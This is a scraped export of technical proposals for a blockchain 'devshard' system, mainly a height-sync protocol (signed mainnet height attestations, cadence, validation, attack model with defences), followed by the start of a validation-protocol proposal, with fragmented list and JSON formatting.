Related docs: height-sync-tests.md (test catalog — implemented and planned), CPOC_PROTOCOL.md, FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md, VALIDATION_PROTOCOL_PROPOSAL.md.
K, slots_num, forced turns)IsStrictlyConfirmed)User–host inference traffic carries a two-section HTTP body:
HeightSyncSection — optional mainnet attestation: a signed (mainnet_height, mainnet_block_hash) pair, plus framing and provenance metadata.message_body — the application payload (opaque to height sync).Section 1 is emitted only when needed:
K nonces, a window of slots_num consecutive nonces carries Anchor; in between, Omit.MsgForceHeightSyncTurn opens a slots_num-wide Anchor span at any nonce (cPoC dispute open, operator force).|Δ| > D — when the sender's claimed height differs from the receiver's aligned height by more than D, the sender MUST use Strong (LightBlock + VerifyCommit); otherwise the receiver rejects.Hosts sign response-leg Anchors with their secp256k1 signer key; courier users carry these signed blobs forward, verifying on ingest and using them as on-demand exculpation proof. Request-leg Anchors are trusted by hosts (no inline signature) — the user proves provenance later if disputed.
A single IsStrictlyConfirmed(h) predicate exposes a discrete {confirmed, pending, stale} answer to downstream consumers.
At devshard we need source of mainnet height and randomness, that is unknowm in advance but is determenistic to make all hosts and user to aggree.
Each host has it's own latest (height, block_hash) oracle (inference chain grpc), and the prove by inference chain validators signatures. But hosts should aggree that any height provided to protocol is really latest. So there should be height sync protocol provided in this doc.
As devshard is designed for high throughput we aim to minimize extra data transferred in messages and minimize checks of minnet signatures. Also we are minimizing gossipping that should happen only on disputes and settlement to minimize traffic (as one host could be in a lot of devshard's)
So main design decitions are made:
(height, block_hash) and originator's (host that is responding to request) signature, to proove origin of this data for possible disputes. User is carrying forward (height, block_hash) at next requests to propogate this data to other hosts.height_in_the_future - known_height = |Δ| > D) we use the full data from mainnet (block hash and validators signatures) to validate the heightheight doesn't match the oracle block_hash we start the disputeAs the result we provide API at devshardd and devshardctl that gives latest height, block hash and the knowledge if majority of devshard network participants agree on this.
"}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#4-goals", "title": "4. Goals", "text": "LightBlock) on a sync-turn schedule keeps every host's view of mainnet time within a bounded window without per-message proof overhead.|Δ| > D or finalization requires it, validator-quorum-bound proof (LightBlock) is mandatory.(H, hash) is traceable to the originating host signature; carriers cannot be blamed for forwarding a malicious host's signed claim, and carriers that strip provenance become the cryptographic source.F on originator timestamp + per-recipient last-propagated bookkeeping prevents a carrier from re-using stale or already-delivered tips.IsStrictlyConfirmed(h) ∈ {confirmed, pending, stale} predicate so cPoC / finalization do not invent their own quorum logic.(C-quorum) confirmation.HeightSyncSection Wire-level header attached to every inference envelope; absent in Omit mode. Anchor proof_type = \"height-anchor-v1\"; carries (H, hash) without a LightBlock. Light path. Strong proof_type = \"cometbft-light-block-v1\"; carries LightBlock bytes; verified against pinned validator set with > 2/3 voting power. Omit No HeightSyncSection. H Mainnet height; uint64. hash Canonical BlockID.Hash for block H. K Distance (in nonces) between sync-turn windows. Constraint: K ≥ slots_num. slots_num Width of a sync-turn window in nonces (equals escrow host slots). D Strong-escalation band; \\|H_peer − H_local_aligned\\| > D ⇒ Strong required. Default 2. F Originator freshness budget. Default 60 s. W_conf Confirmation-index height window. Default max(256, ⌈F / block_time⌉). Q (C-quorum) threshold. Default ceil(2/3 × N_hosts). Originator The host whose own oracle first observed (H, hash). Identified by OriginatorSenderID on the wire. Carrier Any sender that forwards a section it did not originate (typically the user). Identified by the session signature. local_aligned The receiver's view of mainnet height (its own follower, or its peer-tip cache for courier users). IsStrictlyConfirmed(h) {confirmed, pending, stale} predicate consumed by cPoC."}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#6-architecture-overview", "title": "6. Architecture overview", "text": "flowchart LR\n subgraph mainnet [Gonka mainnet]\n BC[CometBFT consensus]\n end\n\n BC -- \"block headers + commits\" --> HSD[heightsyncd / blockoracle]\n\n subgraph host [Host runtime]\n HSD --> SCH_H[AnchorScheduler<br/>local-oracle source]\n SCH_H --> TX_H[transport.Server<br/>signs response leg]\n TX_H -- \"HeightSyncSection<br/>request inbound\" --> RX_H[Receiver pipeline<br/>D-band, freshness, classify]\n RX_H --> AUD_H[AuditRing + ConfirmationIndex]\n AUD_H -- \"IsStrictlyConfirmed\" --> CPOC_H[cPoC consumer]\n end\n\n subgraph user [Courier user / devshardctl]\n TIPS[HeightSyncPeerTips<br/>verbatim signed blobs] --> SCH_U[AnchorScheduler<br/>peer-tip source]\n SCH_U --> TX_U[transport.HTTPClient<br/>Carry, strip sig on request]\n TX_U -- \"response inbound<br/>verify + cache\" --> RX_U[Verify response Anchor<br/>RecordOriginWithBlob]\n RX_U --> TIPS\n TIPS -- \"IsStrictlyConfirmed\" --> CPOC_U[cPoC consumer]\n end\n\n TX_U -- \"request leg<br/>HeightSyncSection\" --> RX_H\n TX_H -- \"response leg<br/>HeightSyncSection (signed)\" --> RX_UKey invariants:
heightsyncd/blockoracle); this is the canonical source of local_aligned.local_aligned from the verified peer-tip cache populated by signed host responses.HeightSyncSection is the only mainnet-related wire surface on inference envelopes; the receiver pipeline is single-entry.HeightSyncSection is carried as protobuf field on the inference envelope and JSON-mirrored for tooling. Field numbers are stable.
proof_type string Anchor / Strong \"height-anchor-v1\" (Anchor) or \"cometbft-light-block-v1\" (Strong). 2 mainnet_height int64 Anchor / Strong Block height H. MUST NOT be set in Omit. 3 mainnet_block_hash_hex string (hex) Anchor / Strong Canonical BlockID.Hash for H. 4 timestamp_unix_ms int64 always When the carrier built this section. 5 direction string always \"request\" or \"response\". 6 originator_sender_id string carry-forward The host that first observed (H, hash) from its own oracle. Carrier MUST preserve. 7 originator_timestamp_unix_ms int64 carry-forward The originator's observation timestamp. Drives freshness gate F. 8 sender_signature bytes response leg only secp256k1 signature over canonical bytes of fields 1–7 + domain \"heightsync.origin.v1\". Empty on request leg. 9 light_block bytes Strong only Serialized LightBlock-equivalent (blockoracle.Header with Commit.Signatures). 10 tip_stale_after_ms int64 optional (Anchor) Advisory only — not origin-signed. Milliseconds since the producer's block oracle last ingested a new header. Set when cadence wanted Anchor but the feed is quiet (long block time, StaleAfter exceeded) while a cached (H, hash) is still available. Absent when the tip is fresh or on courier carry-forward re-emits. Receivers MUST NOT treat this field as part of the cryptographic attestation; use freshness gate F on originator timestamps and (C-quorum) / IsStrictlyConfirmed for liveness. Notes:
StaleAfter but Latest() still returns a cached header, hosts emit a normal Anchor (fields 1–8) plus field 10. This avoids sync-turn response Omit during long inter-block gaps; consensus across hosts still corrects a minority with an outdated tip. Omit remains mandatory when there is no cached tip (feed never started), Latest() fails (feed unavailable), or the courier peer-tip cache is empty.Carry() clears field 8 before sending on the request leg; inbound request validation does not require an inline signature.CanonicalOriginBytes(sec) = \"heightsync.origin.v1\" || proto.Marshal(fields 1..7). Field 8 is not part of the signing input.origin_attestation (embedded originator blob) is reserved for future inline-embed deployments; current protocol uses the asymmetric model (response signed, request trusted, on-demand exculpation).JSON mirror:
{\n \"height_sync\": {\n \"proof_type\": \"height-anchor-v1\",\n \"mainnet_height\": 42,\n \"mainnet_block_hash_hex\": \"abc...\",\n \"timestamp_unix_ms\": 1700000000000,\n \"direction\": \"response\",\n \"originator_sender_id\": \"gonka1host...\",\n \"originator_timestamp_unix_ms\": 1700000000000,\n \"sender_signature\": \"base64...\",\n \"light_block\": \"base64...\",\n \"tip_stale_after_ms\": 12000\n }\n}\n(tip_stale_after_ms omitted when the cached tip is fresh.)
stateDiagram-v2\n direction LR\n [*] --> Omit\n Omit --> Anchor: nonce in sync turn / forced turn / lazy carry\n Anchor --> Omit: next nonce outside window\n Anchor --> Strong: \\|H − local_aligned\\| > D OR forced (StrongRequired)\n Strong --> Anchor: peer realigned, within D again\n Anchor --> Anchor: cadence next turn\n Strong --> Strong: still > Dlight_block) When Omit absent absent Between sync turns; courier peer-tip cache cold; host feed unavailable or no cached tip. Anchor present empty Inside a sync-turn window (cadence / initial / forced) or lazy carry-forward in courier mode. Anchor (degraded) present + field 10 empty Same as Anchor when cadence applies but the host oracle is quiet (StaleAfter since last block) and a cached tip exists — see field 10. Strong present non-empty (verified) \\|Δ\\| > D, finalization-grade, or forced turn with StrongRequired = true. Periodic alignment uses Anchor only. Strong is not a default cadence step — it is the disagreement / dispute path.
Quiet feed vs dead feed (hosts):
Oracle state Cached tip Sync-turn response Fresh (block withinStaleAfter) yes Anchor (no field 10) Quiet (no new block within StaleAfter) yes Degraded Anchor (tip_stale_after_ms > 0) Quiet or fresh no Omit (oracle_miss when cadence required) Unavailable (Latest() error, e.g. height-sync stopped) — Omit"}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#9-cadence", "title": "9. Cadence", "text": ""}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#sync-turn-windows", "title": "Sync-turn windows", "text": "For a session direction, on outgoing nonce n:
1 ≤ n ≤ slots_num → Anchor (or Strong, see §10).i ≥ 1, i·K ≤ n ≤ i·K + slots_num − 1 → Anchor.Constraint: K ≥ slots_num so windows never overlap.
gantt\n title Sync-turn cadence (K=8, slots_num=4)\n dateFormat X\n axisFormat %s\n section Cadence\n Initial sync turn (Anchor) :a1, 1, 4\n Omit :a2, 5, 7\n Periodic sync turn 1 :a3, 8, 11\n Omit :a4, 12, 15\n Periodic sync turn 2 :a5, 16, 19MsgForceHeightSyncTurn(trigger_nonce, slots_num, reason, strong_required?) opens an ActiveForcedTurn{start, end} span:
[start, end]. Omit inside a forced turn is INVALID.strong_required = true upgrades the window to Strong.n > end, cadence resumes from the standard rule.Outside any sync-turn window, the courier user MAY emit Anchor on a request leg iff:
MaxFresh(now, F) returns non-nil).cached_max_height > last_propagated[recipient].The receiver classifies this as VALID_LAZY_ANCHOR (audit tag lazy); it does not open a sync-turn obligation.
OriginatorSenderID = host_address, OriginatorTimestampMs = now, and sign the section (field 8). If the oracle is quiet (no new block within StaleAfter) but a cached tip exists, still emit that Anchor and set tip_stale_after_ms to the age of the last ingested block (field 10 is set after signing input fields 1–7). Omit only when there is no usable cached tip or Latest() fails.forced.StrongRequired is set OR receiver's peer_aligned_height differs from local tip by > D: produce Strong by attaching the cached LightBlock for H (field 9).HeightSyncPeerTips keyed by OriginatorSenderID.VerifyOrigin); on failure, drop the tip and increment origin_sig_invalid_total.sender_signature) before sending.OriginatorSenderID = user_address; that field reflects the host that signed the cached blob.flowchart TD\n A[envelope arrives] --> B{HeightSyncSection<br/>present?}\n B -- no --> O{nonce in sync turn /<br/>active forced turn?}\n O -- yes --> O1[INVALID<br/>sync_turn_anchor_missing]\n O -- no --> O2[VALID_OMIT]\n B -- yes --> C{Anchor or Strong?}\n C -- Anchor --> D{\\|H − local_aligned\\| > D?}\n D -- yes --> D1[INVALID<br/>strong_required]\n D -- no --> E{carry-forward<br/>originator set?}\n E -- yes --> F{originator within F?}\n F -- no --> F1[INVALID<br/>stale_origin]\n F -- yes --> G[classify cadence / lazy<br/>by nonce vs sync turn]\n E -- no --> G\n C -- Strong --> H[StrongVerifier.VerifyLightBlock]\n H -- ok --> I[VALID_STRONG]\n H -- fail --> H1[INVALID<br/>strong_proof_invalid]\n G --> J{block H local AND<br/>hash matches?}\n J -- yes/match --> K[VALID_ANCHOR or<br/>VALID_LAZY_ANCHOR]\n J -- no/local-missing --> L[enqueue deferred check]\n J -- local AND mismatch --> M{originator present?}\n M -- yes --> M1[DISPUTE_ORIGINATOR]\n M -- no --> M2[DISPUTE_CARRIER]Normative steps for a non-Omit envelope:
ActiveForcedTurn[start..end] is set and start ≤ nonce ≤ end, the envelope MUST be Anchor (or Strong when StrongRequired). Omit ⇒ INVALID.D band. If proof_type == \"height-anchor-v1\" and |H − local_aligned| > D: INVALID (strong_required).proof_type == \"cometbft-light-block-v1\": run StrongVerifier.VerifyLightBlock (chain id, header vs claims, validators_hash, optional epoch-bound Step 3b, BlockID, commit > 2/3); failure ⇒ INVALID (strong_proof_invalid).OriginatorSenderID != \"\":now_ms − OriginatorTimestampMs > F ⇒ INVALID (stale_origin); audit trust = TrustDisputeCarrier.VALID_ANCHOR (tag cadence).VALID_LAZY_ANCHOR (tag lazy).VALID_ANCHOR.H is local and hash matches → confirmed immediately; feed ConfirmationIndex.H is not yet local → enqueue deferred check by (originator, H, hash); do not advance height_seen_max.H is local and hash differs → DISPUTE_ORIGINATOR (originator metadata present) or DISPUTE_CARRIER (originator absent or signature failed); persist the offending signed blob.AnchorAttestation (with Tag, Trust, OriginatorSenderID, OriginSignedBlobAvailable) to the per-peer ring; emit counters.message_body if not INVALID.VALID_OMIT No height attestation; framing OK. VALID_ANCHOR Anchor inside cadence / forced span; hash matched or deferred enqueued. VALID_LAZY_ANCHOR Anchor outside cadence (courier path); same audit semantics as VALID_ANCHOR, tag lazy. VALID_STRONG LightBlock verified against pinned set; may advance strong anchor state. VALID_STALE Cryptographically OK but recency rule fails (Strong-only). DEFERRED_FAIL Deferred check found hash mismatch ⇒ evidence vs originator. DISPUTE_ORIGINATOR Same-height / different-hash with verified originator. DISPUTE_CARRIER Same-height / different-hash without verified provenance. INVALID(reason) One of: sync_turn_anchor_missing, stale_origin, strong_required, strong_proof_invalid, bad_framing."}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#12-trust-model-and-signatures", "title": "12. Trust model and signatures", "text": "The protocol is asymmetric: responses are signed, requests are trusted, exculpation is on-demand.
sequenceDiagram\n participant U as User (courier)\n participant H as Host A\n participant H2 as Host B\n U->>H: request (request leg, no sig)\n H->>U: response Anchor [signed by Host A]\n Note over U: VerifyOrigin OK<br/>RecordOriginWithBlob(host_A, H, blob, sig)\n U->>H2: request Anchor (carry-forward, no inline sig)\n Note over H2: trusts carrier;<br/>freshness gate F applies\n Note over H2: later, follower advances<br/>compares hash to canonical\n H2-->>U: DEFERRED_FAIL? open dispute vs user\n U->>U: HeightSyncEvidenceFor(host_A, H) → blob + sig\n U-->>H2: signed_blob proves originator = Host A<br/>⇒ DISPUTE_ORIGINATOR vs Host AOriginatorSenderID, OriginatorTimestampMs, builds CanonicalOriginBytes (fields 1–7 + domain heightsync.origin.v1).origin_sig_invalid_total increments.RecordOriginWithBlob(originator, sec, blob, sig).Carry() strips field 8 before sending.If a host later opens a dispute against the user-carrier, the user calls HTTPClient.HeightSyncEvidenceFor(originator, H) to produce the cached (blob, sig). A dispute verifier re-runs VerifyOrigin; success ⇒ blame shifts to the originating host (DISPUTE_ORIGINATOR); failure ⇒ blame stays on the carrier (DISPUTE_CARRIER).
When Strong is on the wire (light_block non-empty), validation is cryptographic against the pinned validator set:
LightBlock-equivalent (blockoracle.Header).chain_id, height, block_hash against claims.validators_hash matches Merkle root of the pinned set.BlockID == hdr.BlockID.VerifyCommit: every commit signature ecrecovers to a pinned validator, no duplicates, accumulated power strictly > 2/3 of total.h ≥ local_tip − max_lag_blocks else VALID_STALE.OriginatorSenderID or OriginatorTimestampMs.D bound on carry-forward. A carry-forward Anchor with |H − local_aligned| > D is INVALID; carrier MUST escalate to Strong instead. (This is a stricter form of strong_required.)DISPUTE_CARRIER).last_propagated discipline", "text": "HeightSyncPeerTips.ShouldPropagateTo(recipient, h) returns true iff h > last_propagated[recipient]. On a successful send, MarkPropagated(recipient, h) advances the high-water mark. Reaching a quorum at a late host requires a strictly increasing height ladder (production-faithful) — not three lazy carries at the same H.
// devshard/heightsync/confirmation.go\n\ntype ConfirmState int\nconst (\n ConfirmPending ConfirmState = iota\n ConfirmConfirmed\n ConfirmStale\n)\n\ntype ConfirmationView interface {\n IsStrictlyConfirmed(h uint64) ConfirmState\n}\nSemantics:
confirmed — h has cleared the configured confirmation rule. Downstream protocols MAY treat (h, hash) as authoritative.pending — height-sync has data for h but has not yet cleared the rule. Downstream MUST NOT commit adversarial verdicts; cPoC returns Inconclusive (C6).stale — h cannot be evaluated because the oracle is stale / disconnected. Downstream treats verdicts as Inconclusive until recovery.Monotonicity: once confirmed, a height stays confirmed. pending → confirmed is the only forward transition.
Configured at deployment time:
Rule Predicate(C-quorum) ≥ Q distinct originators from the roster have attested heights ≥ h, all within F, all in [tip − W_conf, tip]. (C-strong) Receiver has at least one verified LightBlock for height ≥ h. (C-hybrid) Either of the above clears. PoC deployments without Strong run (C-quorum). Production-class deployments SHOULD select (C-hybrid) once Strong is enabled.
F Freshness; ineligible after now − observed_at > F 60 s W_conf Index window: only heights in [tip − W_conf, tip] count max(256, ⌈F / block_time⌉) Q Quorum threshold (C-quorum) ceil(2/3 × N_hosts) max_height < tip − W_conf or observed_at past F).confirmed_heights set so pruning never demotes a confirmed height.V view, not global", "text": "IsStrictlyConfirmed is computed against the caller's own audit ring and clock. Two verifiers may transiently disagree (pending vs confirmed); cPoC's quorum-based slashing tolerates this.
The following Go APIs are the stable surface that cPoC and finalization consume. Implementation paths in parentheses.
"}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#151-discrete-confirmation-predicate", "title": "15.1 Discrete confirmation predicate", "text": "// On the user side (courier):\nfunc (c *transport.HTTPClient) ConfirmationView() heightsync.ConfirmationView\n// On the host side (own oracle):\nfunc (s *transport.Server) ConfirmationView() heightsync.ConfirmationView\nBoth expose ConfirmationView.IsStrictlyConfirmed(h uint64) ConfirmState. cPoC §C6 / §C14 / §Verdict step 5 call this directly.
Usage example (cPoC verdict):
view := server.ConfirmationView()\nswitch view.IsStrictlyConfirmed(h) {\ncase heightsync.ConfirmConfirmed:\n // commit verdict\ncase heightsync.ConfirmPending:\n return InconclusivePendingHeight(h)\ncase heightsync.ConfirmStale:\n return InconclusiveStaleOracle()\n}\nfunc (c *transport.HTTPClient) ObservedHeightNow() (uint64, bool)\nReturns (h, true) where h is the highest fresh tip in the courier peer-tip cache; (0, false) when no fresh tip exists or height sync is not configured. Used by cPoC C14 heartbeats — a false return means \"Inconclusive — no fresh height\".
// User side: produce the originator's signed blob for (originator, h).\nfunc (c *transport.HTTPClient) HeightSyncEvidenceFor(\n originator string, h int64,\n) (blob, sig []byte, ok bool)\nReturned by the courier cache (HeightSyncPeerTips.OriginSignedBlobFor). Verifiable with heightsync.VerifyOriginDetached(verifier, sec, blob, sig) without reaching the user.
// Host side: return cached LightBlock for h, if available.\nfunc (s *transport.Server) LightBlockFor(h int64) (proof []byte, ok bool)\nWhen the receiver's follower has advanced past a disputed H, the dispute packet may carry both halves:
HeightSyncEvidenceFor (blame).LightBlock from LightBlockFor (canonical pair).A mock dispute verifier returns DISPUTE_ORIGINATOR when both pass.
// Server option:\ntransport.WithHeightSyncSeedRPC(true)\n// Client call:\nfunc (c *transport.HTTPClient) SeedHeightSync(ctx context.Context) (uint64, bool, error)\nOpt-in POST /sessions/:id/height-sync: the host returns a forced Anchor (originator-signed). The courier verifies + caches it before issuing the first inference — useful for short-lived sessions where the first inference is not in a sync turn.
// Operator / dispute / cPoC trigger:\nstate.SendMsgForceHeightSyncTurn(triggerNonce, slotsNum, reason, strongRequired)\nOpens an ActiveForcedTurn in the next diff; every envelope in [trigger, trigger + slots_num − 1] MUST be Anchor (or Strong when strongRequired = true).
type AuditRing interface {\n List(peerID string) []AnchorAttestation\n ListPeers() []string\n ConfirmationView() ConfirmationView\n}\n\nfunc (c *transport.HTTPClient) HeightSyncAuditRing() *heightsync.AuditRing\nfunc (s *transport.Server) HeightSyncAuditRing() *heightsync.AuditRing\nUsed by dispute / finalization consumers that need verbatim attestations and per-peer history.
"}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#16-attack-model", "title": "16. Attack model", "text": "Each row maps an adversary action to the protocol's defence and to the test scenario that proves it (full catalog in height-sync-tests.md).
(H, hash) and signs it (C-quorum) rejects single bad vote; deferred check eventually triggers DEFERRED_FAIL; DISPUTE_ORIGINATOR with stored signed blob TestHeightSyncAnchor_E2E_MixedHeights_Confirmed, TestHeightSyncAnchor_E2E_CheatingTrailStoresBogusUserHash, TestHeightSyncAnchor_E2E_CarrierExculpation; planned: TestHeightSyncStrong_E2E_DeferredFail_StrongEvidence 2 Carrier replays a stale originator section Freshness gate F rejects with stale_origin; carrier flagged TrustDisputeCarrier TestHeightSyncAnchor_E2E_StaleOriginRejected, TestHeightSyncAnchor_E2E_HeldOriginatorReplayRejected 3 Carrier strips originator fields on carry-forward Carrier becomes the cryptographic signer; DISPUTE_CARRIER on mismatch; sync-turn empty-originator audit dispute sentinel Existing audit-ring tests; TestHeightSyncAnchor_E2E_ForcedSyncTurn_HostResponsesAnchorEvenIfUserOmits 4 Carrier substitutes hash Audit verbatim; quorum cannot reach confirmed; eventually DEFERRED_FAIL TestHeightSyncAnchor_E2E_CheatingTrailStoresBogusUserHash 5 Host returns invalid sender_signature User drops tip; origin_sig_invalid_total increments; no cache; reputation/liveness handles persistent offenders TestHeightSyncAnchor_E2E_ResponseOriginSignatureInvalidDropped, TestClient_ResponseAnchor_DropsOnInvalidSig 6 Sender claims (H, hash) \\|Δ\\| > D ahead with Anchor (no Strong) INVALID(strong_required); carrier cannot escape via originator metadata Planned: TestClassify_StrongRequiredOutsideD, S1, S8 7 Tampered LightBlock (signatures, validators_hash, BlockID) Step 2/3/5/6 of CometBFT verification rejects Planned: TestVerifyLightBlock_*, S4 8 Validator-set substitution (wrong epoch) Optional Step 3b verifies against epoch participants Planned: S9 9 Mainnet feed unavailable mid-session (Latest() fails) Scheduler emits Omit on sync turn; IsStrictlyConfirmed → stale; no crashes; cPoC returns Inconclusive TestHeightSyncAnchor_E2E_HeightSyncFeedStopped_*, TestHeightSyncAnchor_E2E_StaleOracle_Inconclusive 13 Long inter-block time (feed quiet, cached tip still valid) Host emits degraded Anchor with tip_stale_after_ms; courier may still ingest verified response tips; (C-quorum) reconciles height across hosts TestAnchorScheduler_StaleFeedEmitsDegradedAnchorInSyncTurn, TestDecide_LogStaleSyncTurn, container TestContainerE2E_HeightSync_Cadence (testenv MOCKDAPI_STALE_AFTER ≥ block cadence) 10 Host equivocates across sessions ((H, hash_A) then (H, hash_B)) Per-V audit ring + dispute layer cross-session check Audit-ring tests; full cross-session detection deferred to dispute plan 11 User omits Anchor inside a forced sync turn Hosts MUST still emit Anchor on responses; missing user Anchor recorded as force_request_anchor_missing sentinel for dispute TestHeightSyncAnchor_E2E_ForcedSyncTurn_HostResponsesAnchorEvenIfUserOmits 12 Replay an old verified LightBlock Recency gate local_tip − max_lag_blocks → VALID_STALE; never advances aligned height Planned (Strong recency) Out-of-scope adversaries:
> 2/3 of mainnet validators — outside this protocol's defence; same as any L1 consensus assumption.blockoracle/verifier); height sync does not re-validate.K 8 AnchorScheduler constructor (NewAnchorSchedulerFromOracle(K, slots, src)) slots_num 4 (testenv) / slots_num = escrow.HostSlots (production) same D 2 StrongPolicy.D (planned) F 60 s HeightSyncPeerTips.Freshness, ConfirmationConfig.Freshness W_conf 256 heights ConfirmationConfig.WindowHeights Q ceil(2/3 × N_hosts) ConfirmationConfig.Quorum (override; defaults from roster size) Audit-ring capacity 1024 per peer NewAuditRing(capacity) Header-cache window (Strong) 64 heights BlockOracleStrongSource.K (planned) Strong recency off (max_lag_blocks = 0) follow-on hardening Confirmation rule (C-quorum) ConfirmationConfig.Rule (Quorum/Strong/Hybrid) StaleAfter (block oracle client) 10 s client default; testenv: block_time + block_interval_delta + 1s (floor 10s) MOCKDAPI_STALE_AFTER env (compose / devshardd-testenv)"}, {"location": "community/discussion/proposals/1188-devshard-improvements-height-sync-protocol-needed-to-support/#18-status-and-milestones", "title": "18. Status and milestones", "text": "Milestone Status Notes Cadence + Anchor + audit + forced turn ✅ v1 PoC; container parity Phase A–C green. Courier mode + (C-quorum) + lazy carry + freshness gate ✅ v2; in-process e2e green (E1–E11). Asymmetric response signatures + exculpation API ✅ Step 8 (v2.1); in-process e2e green (E9, E10). Strong mode (LightBlock + VerifyCommit + D band + (C-strong) / (C-hybrid)) ⏳ Tests catalogued in height-sync-tests.md §6 (S1–S12). Container parity for v2 (Phase D) ⏳ tracked in CONTAINER_E2E_PLAN.md. Container parity for Strong (Phase E) ⏳ follow-on. On-chain MsgHeightSyncEvidence + slashing tx ⏸ dispute / cPoC owns. Development notes and unresolved design choices: height-sync-open-questions.md.
height-sync-tests.md — every behaviour above is bound to at least one named test.🔄 Auto-sync: from Discussion #1189 every hour.
"}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#devshard-improvements-validation-protocol-eligibility-in-place-checks-and-transparent-randomness", "title": "devshard improvements Validation protocol: eligibility, in-place checks, and transparent randomness", "text": "Автор: @akup · Категория: Proposals · Создано: 2026-05-19 06:16 UTC · Обновлено: 2026-05-19 06:16 UTC
"}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#validation-protocol-eligibility-in-place-checks-and-transparent-randomness", "title": "Validation protocol: eligibility, in-place checks, and transparent randomness", "text": ""}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#summary", "title": "Summary", "text": "We should replace the current pattern of per-host seeds + a finalization-time MsgRevealSeed phase with a design where:
MsgValidation (or equivalent) is checkable at arrival time — receivers know whether the sender is eligible to validate that inference;FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md.The hard part is defining R — the public seed or beacon — so that it is binding after work is committed, not grindable by the sequencer, and efficient enough for low-latency validation.
Related: FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md, HEIGHT_SYNC_PROTOCOL_PROPOSAL.md (mainnet height and rand_seed sketch), ../issues/validation-protocol-remove-seed-reveal.md, ../attacks.md.
Today, each host derives ownSeed from signing escrow_id and uses ShouldValidate(ownSeed, inference_id, …) during PhaseActive to decide whether it should validate a finished inference (subnet/state/validation.go, subnet/host/host.go). At finalization, MsgRevealSeed publishes those seeds so recomputeCompliance can compare expected vs actual validations per address (subnet/state/machine.go). Documented mitigations include warm keys against seed-signature grinding (attacks.md).
Tying honest accounting to a dedicated reveal round grows phase logic, gossip, and edge cases (who revealed, duplicates, unrevealed penalties). Finalization should focus on settlement (FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md), not on reproducing subnet validation dice after the fact.
With seeds revealed only at the end, the subnet cannot cheaply answer during the session: “this inference was supposed to receive validation from set S, and we have evidence from S.” Liveness and fraud detection want immediate, verifiable eligibility — not a reconciliation pass that runs only when everyone has revealed.
"}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#3-open-validation-multiple-addresses-self-validation-race", "title": "3. Open validation + multiple addresses → self-validation race", "text": "If any host may send validate / invalidate without a cryptographic eligibility rule, a participant with several slots or linked identities can validate their own executor work (or coordinate with a colluding validator) before honest nodes react. That undermines the point of sampling: the first message wins unless every receiver applies the same public rule before accepting the tx.
"}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#4-in-place-fast-validation-not-only-postfactum", "title": "4. In-place, fast validation — not only postfactum", "text": "Operators and users want validations right after MsgFinishInference is committed, with predictable load. The protocol should support low latency while still binding randomness so the executor cannot know who must check until the rules say so (see Threat model).
Two cases should share one message shape and verification pipeline:
R, stake, slot set, etc.).The only difference is how many slots / which policy applies; eligibility for each validation message is still computable from public inputs + R + payment policy, not ad hoc.
Priority: This constraint is first-class: any validation and eligibility design that forces long-lived executor-hosted plaintext (or world-readable fetch paths) for cross-host verification is incompatible with the product direction below.
The current validation flow assumes the executor keeps prompt and response material in a database (or otherwise makes it fetchable) so other hosts can re-run or compare work. That centralizes sensitive content on the executor and conflicts with a private inference direction: we want inference processing to stay confidential (minimal retention, minimal exposure).
A compatible direction is:
That implies the validation protocol must pair cleanly with known-eligible validators (so the user or tooling knows which public keys / attestations to target) and with one logical path for sampled vs paid extra checks — without requiring world-readable payload URLs on the executor.
"}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#constraints", "title": "Constraints", "text": "These are requirements on any acceptable design, not reasons why we change the protocol (see Motivation for that).
"}, {"location": "community/discussion/proposals/1189-devshard-improvements-validation-protocol-eligibility-in-pla/#interaction-budget-and-gossip", "title": "Interaction budget and gossip", "text": "The protocol must limit cross-host traffic and fan-out: prefer direct user–host rounds, targeted notifies to the selected validator, and deterministic recomputation over broadcast storms.
Gossip could solve many state-sync and fan-out problems cheaply in the abstract, but we do not rely on gossip as the primary synchronization mechanism during active inference and validation — it scales poorly, complicates privacy and ordering assumptions, and overlaps with abuse surfaces (see ../issues/secure-gossip-propagation.md). Subnet-wide gossip–style fan-out is reserved for the finalization phase (settlement, vote/commit, collector broadcasts) per FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md; ordinary validation uses direct messages and deterministic rules. Validation traffic stays bounded and eligible-sender-only where possible.
MsgValidation, every host rejects unless sender ∈ EligibleValidators(inference_id, context) under a pure, specified function.R (or VRF-based eligibility) is reproducible from agreed inputs so no secret round is needed for audit.R must not be controllable by user + executor (or grindable via diff layout); see design options below.Two major scenarios:
Dishonest executor (without an accomplice on sequencing). The executor would like to know in advance whether their inference will be subject to validation (e.g. to skip real work when they believe they will not be checked). That is largely mitigated if who must validate is fixed only from inputs available once MsgFinishInference is committed in the canonical session — in particular so that assignment is bound to the user/sequencer-controlled ordering (and any agreed mix-in such as mainnet entropy), not to secrets the executor holds alone. Before that commit, the executor should not be able to compute R or the eligible validator set for that inference.
